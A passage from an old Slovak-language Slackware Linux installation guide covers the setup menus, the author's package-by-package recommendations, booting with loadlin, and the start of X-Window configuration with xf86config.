Ak ste doteraz prikazy mkswap a swapon nepouzili, dovolte mu to. Ak ste vsak uz prikaz swapon pouzili, nedovolte programu setup ich vykonanie, lebo prepise pripadne uz swapnute casti pamati na disku. Mozete sa dostat do problemov konciacich neuspesnou instalaciou.

Dalej Vas bude viest program setup a sam Vas bude sprevadzat potrebnymi polozkami menu. Prejdete cez menu FORMAT, ktore naformatuje novu particiu ( vytvori na nej superblok a jeho bezpecnostne kopie ). Ponukne Vam 3 moznosti: FORMAT, CHECK a DO NOT FORMAT. Pre istotu zvolte moznost CHECK. Potom sa Vas spyta, ake velke maju byt alokacne bloky = clustre. Riadte sa nasledovnou tabulkou:

1024 (1 KB)             ak particia nepresahuje  64 MB
2048 (2 KB)             ak particia nepresahuje 128 MB
4096 (4 KB)             inak
Ak sa budete snazit usetrit diskovu kapacitu zmensenim alokacnych blokov, mozete narazit na problem, pretoze superblock sa zalohuje kazdych 8 192 alokacnych clustrov vzdy znovu a znovu. Pre velku particiu s malymi clustrami to moze znamenat ciastocnu stratu kapacity disku, pretoze cast disku zaberaju zalohy superbloku.

Dalsie menu - DOS and OS/2 PARTITION SETUP sa vas spyta, ci chcete "vidiet" disky DOSu a OS/2 z Linuxu: Would You like to make some of these partitions visible from Linux ? Ak odpoviete Yes, naskoci okno CHOOSE PARTITION. Pre dosovsky disk C:, napriklad, napisete /dev/hda1 ( disky budete mat ponuknute ). Potom naskoci menu SELECT (the) MOUNT POINT - zadajte nazov adresara, do ktoreho sa dany disk namountuje. Pre disk C: v MS-DOSe je vzdy zadavam /dosc. Nazov vsak moze byt lubovolny. Opat naskoci okno CHOOSE PARTITION a postup mozete opakovat pre dalsie disky. Ked budete chciet skoncit, zadajte q. "Nestlacajte" cancel, lebo program setup dane nastavenia zabudne. Medzi "tlacitkami" sa samozrejme prepinate klavesou tabulator <Tab> a "stlacite" ich klavesou <Enter> alebo <Return> alebo kombinaciami Ctrl-M alebo Ctrl-J ...:-).

SELECT SOURCE -> SOURCE MEDIA SELECTIONje menu, ktore chce zistit, ci instalujete z diskiet, CD-ROM, zo siete alebo z MS-DOS particie. Riadte sa menu. Ak instalujete z diskovej MS-DOS particie, najprv zadajte, z ktorej ( napriklad /dev/hda1 pre disk C: ), odklepnite, a potom zadajte cestu do adresara v Linuxackom formate, t.j. DOSovsku cestu \adresar1\adresar2 zadajte ako /adresar1/adresar2.

Priklad:

Instalacne diskety Linuxu som prekopiroval do adresara C:\install\linux310. V nom som pre kazdu disketu zvlast vytvoril adresare a1, a2, ..., ap1, ap2, ..., n1, n2 .... Teda jednotlive instalacne diskety su v adresaroch C:\install\linux310\a1, C:\install\linux310\a2 atd. Linuxu zadam ako prvu volbu particiu /dev/hda1, odklepnem klavesou <Enter> a ako instalacny adresar uvediem /install/linux310.

Potom sa objavi menu SERIES SELECTION - mate oznacit (medzernikom) serie diskiet, ktore mienite nainstalovat. Ja som si instaloval serie A, AP, D, F, K, TCL, X, XAP, XV, Y a nenainstaloval som si E, N, T, XD. Tym, ze som nenainstaloval siete ( seria N = networks ), nemam moznost na tlac pouzivat prikazy lp resp. lpr, cim je u mna tlac dost krkolomna. To ale nie je problem, na stroji pracujem sam, takze mozem tlacit ako pouzivatelska identifikacia root. Ak by na stroji pracovalo viac ludi, musel by som im dat rootovske prava alebo napisat nejake scripty. Ale to by som radsej nainstaloval siete, aby si mohli programom elm, pine, mail alebo mailx nechavat odkazy, t.j. elektronicku postu. Spotreba pamate by vsak vzhladom na pritomnost viacerych sietovych daemonov v pamati bola vyssia.

Po oznaceni serii diskov zvolte CONTINUE. Budete Vam polozena otazka, ci chcete zvolit NORMAL promt. Mali by ste ho zvolit.

A zacina sa samotna instalacia software. Sipky nahor ci nadol ( alebo sede plus ci minus ) vam umoznia vyberat si YES, NO, QUIT. Nepouzivajte tlacitka OK, CANCEL! Pozor, QUIT ukonci celu instalaciu. Ak teda chcete instalovat, zvolte YES ( a odklepnite klavesou <Enter> ) a ak nechcete - NO. Vela veci si system instaluje sam, lebo ich pre "hladky" beh potrebuje. Su to zalezitosti oznacene v pravom hornom rohu znackou REQUIRED. Vy mozete instalovat RECOMENDED (odporucane) ci OPTIONAL (volitelny) software. Nelakajte sa, ak pocas instalacie zazijete hlasku SEGMENTATION FAULT na chvilu sa zjaviacu v lavom dolnom rohu obrazovky. Asi je nejaka chyba v jednom zo suborov. INSTALUJTE DALEJ.

POPIS NIEKTORYCH SAD DISKIET

System sa vas bude pytat na instalaciu nasledujucich serii diskov obsahujucich software. Popisem, co to je a co som ja zvolil.
                        S e r i a   A

comms   Umoznuje komunikaciu pomocou seriovej linky. Ja modem nemam, ani sa
        nemam ku komu pripojit. Zvolil som NO.

getty   som zvolil YES, ale netrebalo. Aj implicitne agetty je fajn.

gpm     general mouse support purpose - podpora mysi aj mimo X-window. Ja som
        ju instaloval. Ak lavym tlacitkom oznacite text, mozete ho vkladat
        strednym tlacitkom - a to dokonca aj na inej virtualnej konzole
        (zname copy & paste). Na dvojtlacidlovych mysiach sa namiesto stredneho
        tlacidla pouziva sucasne stlacenie obidvoch tlacidiel. Zvolte YES.

icbs    Intel binary compatibility - schopnost spustat software urcene pre ine
        PC-UNIX systemy - AIX od IBM, Xenix, Minix atd. Myslim, ze ju
        nevyuzijete.

ide     Jadro pre IDE a EIDE hard disky. Ak nemate scsi radic, zvolte YES.
        Jedno jadro MUSITE mat - ide alebo scsi.

keytbls Tabulky pre nie UNIXovske klavesnice ( aj pre makcene atd ).
        Ja to nepouzivam.

loadlin je program pre MS-DOS, ktory umozni nastartovat Linux. Zvolte YES.

pcmcia  Podpora kariet pcmcia pre notebooky. Na desktopovych
        pocitacoch zvolte NO.

scsi    Ak nemate IDE ci EIDE radic, ale SCSI, zvolte YES.

tcsh    Implicitne budete mat /bin/bash shell. Ak sa Vam nepaci, mozete
        nainstalovat shell /bin/tcsh. Mali by ste zvolit YES.


                        S e r i a   A P

ash     Namiesto /bin/bash ci /bin/tcsh mozete zvolit shell /bin/ash,
        ktory umoznuje len slabu podmnozinu funkcii Linuxovskych shellov,
        ale je maly a setri pamat. Je pouzity pri instalacii Linuxu. Ja by
        som ho neinstaloval. Vo vacsine pripadov zvolite NO.

bc      Jazyk umoznujuci presne kalkulacie. Vo vacsine pripadov zvolite NO.

diff    Je to program podobny dosovskemu fc - file compare. Prikaz 'diff s1 s2'
        najde rozdiely medzi subormi s1 a s2. Zvolte YES.

ghoscr  Program gs ci ghostscript resp. ghostview dokaze citat postscriptove
        subory a konvertovat ich pre tlac na neposkriptovych tlaciarnach.
        Zvolte YES.

gp9600  Je program umoznujuci konfigurovat rychlost modemu. Ak mate modem,
        zvolte  YES.

gsfonts1 Fonty pre ghostscript. Zvolte YES. Snazte sa instalovat vsetky mozne
         fonty aj pre X-Window a LaTeX. POZOR: Fonty zaberaju privela miesta
         na disku.

joe     Jednoduchy editor. YES.

mnt_st  Podporuje nejake paskove pamate. Asi ich nemate - zvolte NO.

quota   Umoznuje kvotovat miesto na disku, aby niektory pouzivatel nezabral
        privela miesta na disku. Ja som ju nainstaloval, ale ju nepouzivam.
        Po spusteni systemu "naostro" sa pomocou 'man quota' dozviete viac.

sudo    Umozni pridelit niektorym pouzivatelom rootovske prava. NO.

ispell  Skontroluje text napisany po anglicky. Sikovna vec. YES.

jpeg    Umoznuje dekodovat obrazky vo formate jpeg. Ja som dal YES.

workbone Je to prehravac hudobnych CD. Ak mate CD-ROM, zvolte YES.

gsfonts2 Druha cast fontov pre postscript. YES.

jove    Editor kompatibilny s EMACSom. Vela ludi ho pouziva.
        Po spusteni systemu "naostro" napiste 'teachjove' na prikazovom riadku
        a program jove Vas nauci, ako sa s nim robi. Zvolte YES.

jed     Editor zaberajuci viac ako 1 MB na disku. Umoznuje editovat binarne
        subory a programy. Asi zvolite YES.


manpgs  Su to manualy pre program man. Zvolte YES !!!

mc      Midnith Commander for Linux je nadstavba shellu podobna programom
        Norton Commander, Volcov Commander ci Dos Navigator. Zvolte YES.

sc      Spreadsheet, ktory asi nikdy nepouzijete. Zvolte NO.

texinfo Potrebujete pre citanie niektorych informacii. Zvolte YES.

vim     Program vim je vi improved - vylepseny textovy editor vi.
        Asi ho nikdy nepouzijete. Ja som zvolil YES.

zsh     Je nejaky nekompatibilny shell. Ja som preto zvolil NO.


                        S e r i a   D

byson   ANO.

byacc   ANO. Su to generatory gramatik z Berkeley a je dobre ponechat ich.

g77     Kompilator FORTRANu. Kto dnes programuje vo FORTRANe ? Zvolte NIE.

man2    Instalujte vsetky manualy, vyhnete sa problemom. Zvolte ANO.

gcaout  Kompilator pre a.out subory. Potrebujete ho, ak chcete kompilovat
        stary software. Novy software ma format ELF. Zvolte NIE.

strace  Tento program umoznuje trasovat systemove volania. Je to celkom
        sikovna vec. Po dekompresii na disku zaberie len 90 KB. Ja mam
        take pravidlo - ak neviete, ci danu vec potrebujete a na disku
        zabera menej ako 100 KB, nainstalujte ju. Zvolte ANO.

gcl     Gnu Common Lisp je interpreter (ci skor kompletne prostredie)
        jazyka umelej inteligencie LISPu. Lisp sa pouziva na programovanie
        v AutoCade, bol v nom napisany editor EMACS atd. Ak ho ale
        nepotrebujete, zvolte NIE.

man3    Opat manualy - bez vahania ANO.

gdb     Debugger - umoznuje sledovat, ci napisany program vykonava to, co od neho
        ocakavame. Zvolte ANO.

gxx272  Je to kompilator jazyka C++ (co je objektovy jazyk C) tvoriaci
        spustitelne subory v ELF formate. Zvolte ANO.

p2c     Prekladac zdrojoveho kodu z PASCALu do jazyka C. Asi zvolite NIE.

gxxaout Je to kompilator jazyka C++ (co je objektovy jazyk C) tvoriaci
        spustitelne subory v starom a.out formate. Zvolte NO.

objc272 Je to kompilator Objective-C, co je iny objektovy jazyk C, nez je C++.
        C++ je norma, objc272 nepotrebujete. Ja som ho neinstaloval. Tiez
        vytvara spustitelne subory v ELF formate.

libaout Su kniznice pre a.out format. Ak ste neinstalovali kompilatory
        a.out, nepotrebujete ani kniznice.

rcs     Revizny a kontrolny system asi nepouzijete. Ale nainstalovat ho mozete.

terminfo Je velmi dolezite nainstalovat terminfo, lebo budete mat problemy
         pod X-Window pri spustani napriklad Midnith Commandera. Zvolte ANO !!!

libcinfo Zvolte ANO.

objcaout Je to Objective C generujuce stary a.out format. Zvolte NIE.

libgxx  Toto su kniznice pre Objective-C. Instalujte ich, ak ste nainstalovali
        objc272.

ncurses Ncurses je velmi prijemna kniznica umoznujuca programovat okna
        pre textovy mod. Obsahuje orezanu kniznicu terminfo postacujucu
        pre program Midnith Commander.

svgalib Velmi prijemna kniznica umoznujuca programovat aplikacie v grafickom
        mode MIMO PROSTREDIA X-Window. Zvolte YES.

perl1   Prva cast programovacieho jazyka Perl.

tools   Nejake utility pre vytvaranie dynamickych kniznic. Ja som ich nainstaloval.

perl2   Druha cast jazyka PERL. Ak ho chcete mat, potrebujete obidve casti.


                        S e r i a   K

lx200_1 Prva disketa zdrojovych textov VELMI ROZMERNEHO JADRA. Su potrebne,
        ak si chcete vyrobit nove jadro bez zbytocnych ovladacov. Alebo
        s ovladacmi, ktore v standardnych jadrach ( na serii Q ) nie su.
        Nepamatam si presne, myslim vsak, ze samotne zdrojaky zaberaju
        23 MB na disku. Niektori ludia hovoria, ze ovela viac. Po kompilacii
        na disku zbytocne ostanu pomocne binarne subory ( to su tie,
        ktore maju koncovku .obj ), ktorych zlinkovanim vznika nove jadro.

lx200_2 Druha disketa zdrojovych textov jadra Linuxu. Uvedomte si, ze jadro
        nepotrebujete instalovat, pokial ho nechcete kompilovat ci studovat.

ls200_3 Tretia disketa jadra Linuxu.

lx200_4 Stvrta disketa jadra Linuxu.

lx200_5 Piata  disketa jadra Linuxu.

lx200_6 Siesta disketa jadra Linuxu.


                        S e r i a   TCL

tk4.1   Tcl je programovaci jazyk. Dokaze ho interpretovat interpreter,
        ktory je mozne prilinkovat ( pripojit ) k programu napisanemu
        napriklad v jazyku C. Samotny tcl nie je velmi uzitocny.
        V spojeni s tk je vsak velmi uzitocny a mocny. Bez toho, aby som
        mal o tcl ci tk sajnu som s nim za jediny den vyrobil aplikaciu
        pod X-Window.
        Tk je teda nadstavba tcl umoznujuca generovat aplikacie pod system
        X-Window. Vie jednoducho pracovat s bitmapami atd. Mne sa paci.
        Zvolil som YES.

tclx    Extended - rozsireny jazyk tcl. Opat som zvolil YES.

tkdesk  V jazyku tcl/tk naprogramovali velmi kvalitny desktop - manazer
        suborov a programov pod X-Window. Je lahko konfigurovatelny a urychluje
        Vasu pracu - ak mate aspon 12 MB RAM.


                                S e r i a   X

fntl100_1 Prva cast 100 DPI fontov pod system X-Window. Berte vsetky !
          Fonty popisuju tvar pismen. Rozne programy vyzaduju rozne fonty.
          Ak pozadovane fonty nebudu k dispozicii, niektore programi odmietnu
          pracovat.

fvwmicons Su to ikony (malicke obrazky reprezentujuce subory a programy)
          z nejakeho servra. Ja som ich instaloval.

x312ubin  Ma len 10 KB, bez vahania berte. Je to rstartd pre klienta rstart.

fnt100_2  Aha, tu je druha cast 100 DPI fontov. Preco su to casti? Lebo nie
          vsetky fonty sa (ani po skompresovani) zmestili na jedinu disketu.

fntbig3   Iha, tu zaciname VELKE fonty tretou castou, nie prvou. Zvolte YES.

x312ctrb  Su to programy, bez ktorych prezijete. Ja som vsak zvolil YES.

fntbig1   Mame tu velke fonty - konecne cast prvu. Zvolte YES.

x312doc   Su doc (dokumentarne) subory pre programy beziace pod X-Window.
          Berte ich.

fntbig2   Konecne je tu druha cast velkych fontov (vhodne su pre velke
          rozlisenia, lebo male fonty robia malicke pismenka). Zvolte YES.

oldlibs5  Su to kniznice pre stare programy. Asi ich nebudete potrebovat.

oldlibs6  Je to vylepsena verzia predoslych kniznic. Ale opat nepotrebna.
          Kedysi ich potreboval DOOM, ak ste ho chceli spustat pod X-Window.
          Teraz DOOMa nemam, ale asi ich este vyzaduje. Nema zmysel spustat
          tuto hru pod X-Window. Bezi v takom malickom okne, ze sa takmer
          neda hrat.

x3128514  Tento program umoznuje spojenie s IBM strojmi, ktore su velmi
          nesympaticke prave pre spajanie s UNIX ci MS-DOS strojmi.
          Asi to nebudete potrebovat, pokial neinstalujete Linux vo firme,
          kde tieto stroje su.

x312agx   Je to ovladac (v X-Window ich nazyvame server, kedze plnia aj ulohu
          akejsi nadstavby UNIXu) pre graficke karty s cipom IIT AGX-016,
          IIT AGX-015 alebo IIT AGX-014. Instalujte len tie servre,
          ake graficke karty mate na pripojenych terminaloch.

x312inc   Toto su hlavickove subory pre programovanie aplikacii pre system
          X-Window v jazyku C. Ja som ich instaloval.

x312f75   Toto su 75 DPI fonty. Berte ich.

x312fcyr  Cyrilicke fonty umoznujuce zobrazovat pod X-Window texty pisane
          v azbuke ci podobnych nestandardnych pismach.

x312fscl  POZOR ! Toto su skalovatelne fonty porovnatelne s tzv. true type
          fontami znamymi z Microsoft Windows. Ich vyhodou je moznost menit
          rozmery pismen. Su velmi uzitocne. BERTE ICH !!!

x312ma32  Asi sa cudujete cisliciam x312. Je to jednoducho verzia X-Window.
          Verzia 3.1 prisla zhruba v dobe, ked nad MS-DOSom vznikli
          Microsoft Windows 3.1. Subor x312ma32 je server (obsluhovac)
          pre graficke karty s 32 bitovym cipom Mach32.

x312ma64  Server pre graficku kartu so 64 bitovym cipom Mach64.

x312ma8   Server pre graficku kartu s 8 bitovym cipom Mach8.

x312mono  Monochromaticky (jednofarebny = cierno-biely) server.

x312p9k   Je to server pre graficke karty s cipom P 9000.

x312man   Manualy pre X-Window. Instalujte ich !

x312s3    Server pre velmi kvalitne cenovo vyhodne 32 a 64 bitove graficke
          akceleratory s kvalitnym cipom S3.

x312svga  Ide o vseobecny server napriklad pre graficke karty firmy Trident.

x312vga   Server podobny predoslemu, ale umoznuje len slabe rozlisenia. Jeho
          vyhodou je, ze spolupracuje s vacsinou znamych grafickych kariet
          na zbernici ISA, Vesa Local Bus, ci PCI.

x312w32   Je to server pre graficke karty s cipom ET 400 / W 32.

x312xtna  Toto su servre pre konzolu bez grafickeho displaya. Ak chcete usetrit
          peniaze a pocitac mate "schovany" - zavrety v nejakej miestnosti,
          pricom spristupnite len X-terminaly, je to riesenie schopne usetrit
          na grafickej karte a monitore asi 10 000 Sk. Neviem, ci je to dobry
          napad, ale ked je hostitelsky pocitac naozaj bezne nepristupny,
          je naozaj zbytocne davad nan 21 palcovy monitor a Diamond Stealth
          so 4 MB vram.


                        S e r i a   X A P

gchess  Sach pre X-Window. Potrebujete aspon 16 MB fyzickej pamate RAM,
        inak nan rychlo zabudnite. Je to kvalitny sach prisposobeny tak,
        aby ho mohli hrat jednotlive UNIXove stroje medzi sebou. Ja som ho
        neinstaloval.

ghostview Umoznuje citat postscriptove subory a pripadne ich tlacit
          na postscriptovej tlaciarni (laserovej od Hewlett-Packard).
          Zvolte YES. Mnozstvo manualov byva dodanych prave vo forme .ps.

gnuplot Vektorovy kresliaci program. Zvolte YES.

gs_x11  Je to nahrada programu gs pracujuceho mimo X-Window aplikaciou
        pracujucou pod X-Window. Zvolte YES.

seyon   Telekomunikacny balik. Celkom slusny. Ja som ho neinstaloval. Nemam
        siet ani modem. Jedinym pouzivatelom stroja som ja.

xxgdb   Gnu debugger pod X-Window zabera len malo miesta na disku. Ak ste
        nainstalovali klasicky debuger v serii D, nainstalujte aj tento.
        Je to jeho nadstavba.

arena   Je to shareware - program (takmer) zadarmo nahradzujuci program
        Netscape. Je urceny na citanie www stranok (suborov .html)
        napisanych v jazyku HTML. Tieto stranky sa nachadzaju na INTERNETe.
        Mozete si ho nainstalovat. Ak nemate Netscape.
        Netscape je pouzivatelsky omnoho privetivejsi.

libgr   Je to kniznica umoznujuca dekodovat rozne formaty kompresovanych
        obrazkov - giff, tiff, jpeg. Ja som ju nainstaloval.

x3270   Je to emulator klasickeho terminalu 3270 umoznujuci pripojit sa
        na stroj IBM s kodovanim znakov EBCDIC (nie ASCII).

xfm     Manazer suborov pre X-Window. Ja som ho instaloval.

xpaint  Ak poznate bitmapovy kresliaci program pod Microsoft Windows s nazvom
        paintbrush, toto je jeho UNIXovy bracek. Instalujte ho.

fvwm95  Manazer okien pre X-Window velmi podobny rozhraniu
        Microsoft Windows '95  ci  Microsoft Windows NT 4.0.

xfileman Je to podobne ako xfm manazer suborov pod X-Window.
         Instalujte ho.

xfract  Slavne fraktaly pre MS-DOS prerobene pod X-Window. Neinstalujte.

xgames  Hry pre X-Window. Niektore su celkom zabavne - to su tie,
        ktore sprijemnia vas pobyt pri pocitaci. Napriklad Xeyes su
        oci sledujuce kurzor mysi, Xroach su chrobaciky schovavajuce sa
        za okna :-).

xspread Jednoduchy spreadsheet pod X-Window.

xv      Kvalitny citac obrazkov umoznujuci rozne konverzie ich formatov
        a tlac na tlaciarni.

                        S e r i a   X V

workman Je program na prehravanie hudobnych CD diskov.
        Ja som neinstaloval, nemam CD.

xv32_a  Staticke kniznice potrebne, ak chcete debugovat (krokovat) programy
        napisane pod X-Window specialne vyuzivajuce xv. Instaloval som.

xv32exmp Priklady programovania pod xv zaberajuce 1.6 MB. Instaloval som.

xvinc32  Su to include ( hlavickove ) subory potrebne pre programovanie pod xv.
         Ja som ich instaloval.

sspkg   Vylepsenia pre programovanie aj s mnozstvom prikladov. instaloval som.


                                S e r i a   Y

bsdgames Su to hry pochadzajuce z BSD UNIXu (Berkeley Software Distribution
         UNIX from the University at Berkeley). Zaberaju vyse 2 MB. Instaloval
         som ich.

lizards  Je videohra zaberajuca 1 MB. Instaloval som ju.

sastroid Opat hra vo videomode (vsetky hry na disku Y1 su mimo X-Window)
         zaberajuca 320 KB. instaloval som ju.

tetris   Toto su prave tetris pre stare negraficke terminaly. Instaloval som ich.

INSTALACNA KONFIGURACIA

Konecne mame za sebou instalaciu Linuxu. Este ale nemozeme byt stastni. Potrebujeme ho nakonfigurovat. Nastastie v instalacii Linux Slakware sa nas na konfiguraciu priamo pyta program setup: Configure Your System ? Odpovieme YES. Na otazku o instalacii jadra odpovieme skip, ak nepotrebujeme nainstalovat specialne jadro povodne sa nachadzajuce na disketach Q. V dalej ponuknutom menu Make bootdisk zvolime SIMPLE. Tym vytvorime bootovaciu disketu pre nas novo instalovany system. Disketa musi byt naformatovana. Ak nie je, zvolte najprv format a potom simple. Potom zvolte continue. Potom budete moct konfigurovat modem ( ak ho mate ) a mys. Typ mysi, zial, tazko dopredu urcit. Mnoho dvojtlacitkovych novsich mysi je Microsoft Kompatibilnych. Ja mam mys A4Tech a zvolil som volbu 6 - mouse systems serial mouse. V menu select port nastavite, na ktorom porte je mys. Ak je na COM1 (terminologia MS-DOSu), zvolte ttyS0. Pozor ! Mnohokrat je mys na COM2. Hlavne na novsich neznackovych strojoch.

Configure CD-ROM ? Toto menu umozni konfigurovat nestandardne CD-ROM mechaniky. Standardne vraj jadro rozpozna samo.

Lilo installation. S tymto menu sa potrapte sami. Pouzijete ho v pripade, ze nemate nainstalovany system MS-DOS. Inak asi budete pouzivat loadlin.exe program pre MS-DOS, pretoze lilo (linux loader = bootovac [spustac] Linuxu) sa zapisuje do master bootu na disku a niektori ludia hlasili problemy v kombinacii s operacnymi systemami Microsoft Windows '95, OS/2 ci Microsoft Windows NT. Aj ked mnohi (vratane mna) s nim problemy nemali. Ja ale uz pouzivam loadlin.exe, co odporucam aj vam. lilo vraj nevie bootovat Linux z particie nachadzajucej sa nad magickou hranicou 1024 cylindrov. loadlin.exe umoznuje volbu jadra (ak ich mate viac) velmi jednoduchym sposobom. Preto je pre mna pritazlivejsi. Preto som v tomto menu zvolil SKIP.

Gpm configuration. V tomto menu chce system vediet, ci ma podporu mysi spustat po kazdom spusteni systemu. Ak nemate malo RAM, zvolte YES.

Timezone configuration. System chce, aby ste mu urcili cas. My sme GMT+001, od Greenwitchu o 1 hodinu posunuti. Mame STREDOEUROPSKY cas. Zvolte Europe/Bratislava alebo Europe/Praha alebo GMT+001. Zalezi na verzii Linuxu.

System by mal teraz vyhlasit SETUP COMPLETE. Potvrdte mu tuto hlasku ( ak caka na stlacenie kalvesy <Enter> ) a dostanete sa do hlavneho menu programu setup. Zvolte polozku Exit. Dostanete sa do shellu. Napiste

# sync
# exit
a po vypisani prihlasovacieho promtu Linuxu stlacte kombinaciu klaves Ctrl-Alt-Del.

POINSTALACNA KONFIGURACIA

Teraz musite operacny system Linux spustit z bootovacej ( spustacej ) diskety, ktoru ste si vyrobili pocas instalacnej konfiguracie. Bootovacku nemusite pouzit, ak ste instalovali LILO - Linux loader. System po spusteni zdanlivo zamrzne. Cakajte. Asi 15 sekund sa bude pokusat identifikovat PLUG & PLAY zariadenia. Je naozaj mozne, ze system zamrzne. No vo vseobecnosti plati, ze ak sa spustil z instalacnych diskiet a korektne rozpoznal disk, mal by tak urobit aj teraz. Pockajte minimalne 2 minuty. Nevypinajte rozmrzene pocitac predcasne. Ak sa Vam system rozbehol, ste stastny clovek. Teraz uz len nakonfigurovat X-Window a mozete zacat pouzivat naozajstny operacny system.

BOOTOVANIE

Najprv sa musime postarat o to, aby sa Linux mohol spustat z disku. Tento krok mozete preskocit, ak mate nainstalovany LILO.

Prihlaste sa ako root:

Welcome to Linux 2.0.0.

darkstar login: root
Last login: Wed Oct 16 19:00:15 on tty1
Linux 2.0.0.
You have mail.
#
Ako to, ze mate elektronicku spravu (e-mail) ? To Vam len tvorca software (ci skor distribucie) nainstaloval do suboru /var/spool/mail/root nejaky odkaz. Mozete ho precitat programom elm alebo priamo prikazom more /var/spool/mail/root.

S tym sa ale pohrate neskor, pristupme radsej k poinstalacnej konfiguracii. Ako root mate v adresari 2 subory:

# ls
lodlin16.txt  lodlin16.zip
#
Subor lodlin16.txt obsahuje zhruba to, co dalej napisem, ale detailnejsie.

Opat si vsetko ukazeme na priklade. Chceme ulozit subory potrebne pre spustenie Linuxu do MS-DOSovskeho adresara C:\LOADLIN. Disk c: mame namountovany (automaticky) v adresari /dosc.

# mkdir /dosc/loadlin
# cp lodlin16.zip /dosc/lll
# cp /vmlinuz /dosc/loadlin
#
Vytvorili sme adresar C:\LOADLIN, do ktoreho sme prekopirovali skompresovany subor lodlin16.zip. Z tohto suboru nas zaujima len program loadlin.exe, ktory ziskame dekomprimaciou. Ak nemame pod operacnym systemom MS-DOS nainstalovany program pkunzip.exe, mozeme subor lodlin16.zip rozbalit priamo v Linuxe prikazom
# unzip lodlin16.zip
#
Vytvori sa adresar /root/loadlin a v nom bude rozbaleny subor lodlin16.zip. Mozeme prekopirovat program /root/loadlin/loadlin.exe do adresara /dosc/loadlin
# cp loadlin/loadlin.exe /dosc/loadlin
#
Teraz sa odhlasime:
# exit
a stlacime Ctrl-Alt-Del. System sa rebootne. Pozor, spustite MS-DOS, nie Linux. Teda vyberte spustaciu disketu z mechaniky A:. Ak ste subor lodlin16.zip rozbalili pod Linuxom a prekopirovali loadlin.exe do /dosc/loadlin, nemusite robit vobec nic. Inak napiste ( znak > je prompt MS-DOSu )
> cd \loadlin
> pkunzip -d lodlin16.zip
>
Ziskate tak mnozstvo suborov. Potrebujete program LOADLIN.EXE, ktory spusta Linux a subor VMLINUZ. Je to samotne jadro Linuxu. Vsetky ostatne subory a podadresare v adresari \loadlin mozete pokojne vymazat. Napomocnym Vam moze byt priklad linux.bat. Je to batch subor (cosi ako script) operacneho systemu MS-DOS. Tu je jeho obsah.

rem Batch subor startujuci Linux - priklad.

rem Najprv zapisme obsah vyrovnavacej pamate na disk.
smartdrv /C

rem Ak nepouzivate smartdrv ale inu cache - pouzite adekvatny prikaz
rem namiesto smartdrv /C.

rem Startneme Linux:
c:\loadlin\loadlin.exe c:\loadlin\vmlinuz root=/dev/hda3 ro vga=3

Toto bol len priklad. Namiesto hda3 dosadte particiu, na ktorej sidli Vas Linux. Ak si nepamatate jej cislo, zabootujte Linux z diskety, prihlaste sa ako root a napiste

# mount
/dev/hda3 on / type ext2 (rw)
/dev/hda1 on /dosc type vfat (rw)
none on /proc type proc (rw)
#
Vyhladajte riadok obsahujuci samostatne lomitko. To je vasa root particia. V mojom priklade je to riadok
/dev/hda3 on / type ext2 (rw)
a teda viem, ze parameter root=/dev/hda3 je spravny. Pre uplnost dodajme, ze prikaz mount bez parametrov vypise momentalne namountovane disky (logicke aj fyzicke) a ich popis vo forme
/dev/hda3 on / type ext2 (rw)
co nam hovori, ze na IDE prvom (master) hard disku je suborovy system extended 2, je namountovany do hlavneho adresara ( / ) a je mozne z neho citat aj nan zapisovat ( (rw) ).

To je vsetko. Nepovinny parameter vga=3 vyrobi viac nez 80x25 znakov na obrazovke. Mne sa ale nepaci, preto som ho u seba doma uplne vynechal.

Nemusite vsak kompletne spustat MS-DOS, aby sa startol Linux. Ak ste si v MS-DOSe urobili menu v subore config.sys, vytvorte polozku [LINUX] a pridajte tieto dva riadky:

[LINUX]
SHELL=C:\LOADLIN\LOADLIN.EXE c:\loadlin\vmlinuz root=/dev/hda3 ro
Dodrzte velkost pismen !

Teraz restartujte pocitac a mali by ste byt schopni zabootovat Linux z disku.

KONFIGURACIA X-WINDOW

Asi od roku 1995 distribucia Linux Slakware obsahuje utilitu (pomocny program) na konfiguraciu X-Window. Vola sa xf86config. Ako root napiste
# xf86config
POZOR. Je mozne, ze budete pomocou tohto programu konfigurovat system niekolkokrat, kym sa dopracujete k beziacemu systemu X-Window.

Ak viete po anglicky, precitajte si celu vypisanu obrazovku a stlacte klavesu <Enter>. To iste robte s druhou obrazovkou. Teraz musite zvolit typ mysi, ktoru pouzivate. Ak v menu taka mys nie je, zvolte podla Vas najpodobnejsiu. Dvojtlacitkove mysi su casto kopatibilne s mysou Microsoft, trojtlacitkove s Mouse Systems. POZOR. Mys Vam nebude fungovat pod X-Window, ak ju nainstalujete zle. Ak si neviete rady, budete musiet postupne odskusat vsetky moznosti.

Teraz zadajte cislo menu a stlacte klavesu <Enter>. Pripadna otazka "Do you want to enable ClearDTR and ClearRTS?" sa tyka trojtlacitkovych mysi. Opat musite odskusat instalaciu najprv tak, ze ClearDTR a ClearRTS nepovolite a ak mys nebude fungovat, pri rekonfiguracii tieto prikazy povolite.

Otazku "Do you want to enable Emulate3Buttons?" zodpovedzte kladne, ak ste instalovali dvojtlacitkovu mys, inak zaporne. (odpovede y alebo n).

Otazku Mouse device: pri beznych mysiach len odklepnite klavesou <Enter>.

System potom chce pre klavesu Alt instalovat pouzitie inych nez standardnych ASCII znakov, odpovedzte n.

Stlacte klavesu <Enter>.

Teraz system pozaduje horizontalnu synchronizacnu frekvenciu Vasho monitora. Pohladajte ju v manuale k monitoru. Ak manual nemate, skusajte postupne jednotlive volby kym sa nedopracujete k rozumnej. Ak manual mate, zvolte poslednu volbu (11) a zadajte horizontalnu synchronizacnu frekvenciu Vasho monitora, napriklad 31.2-47.9.

Naskoci poziadavka na vertikalnu frekvenciu. Opat zvolte vlastnu, ak sa da. Alebo budete musiet opat skusat preddefinovane.

Program Vam teraz zada 3 otazky na meno vasho monitora, vyrobcu atd. Staci ich odklepnut. Nie su podstatne. 3 x teda stlacite klavesu <Enter>.

Potom sa Vas program spyta, ci chcete vidiet databazu videokariet. Odklepnite y. Pohladajte v zozname kartu najblizsiu Vasej grafickej karte. Klavesou <Enter> donekonecna mozete spustat dalsie obrazovky (zacnu sa opakovat, ak narazite na koniec databazy). Ked narazite na tu pravu, zvolte jej cislo. Ak si absolutne neviete rady, zvolte `SVGA generic' alebo `vga generic'. Momentalne je to volba 59. Napiste teda 59 a stlacte klavesu <Enter>.

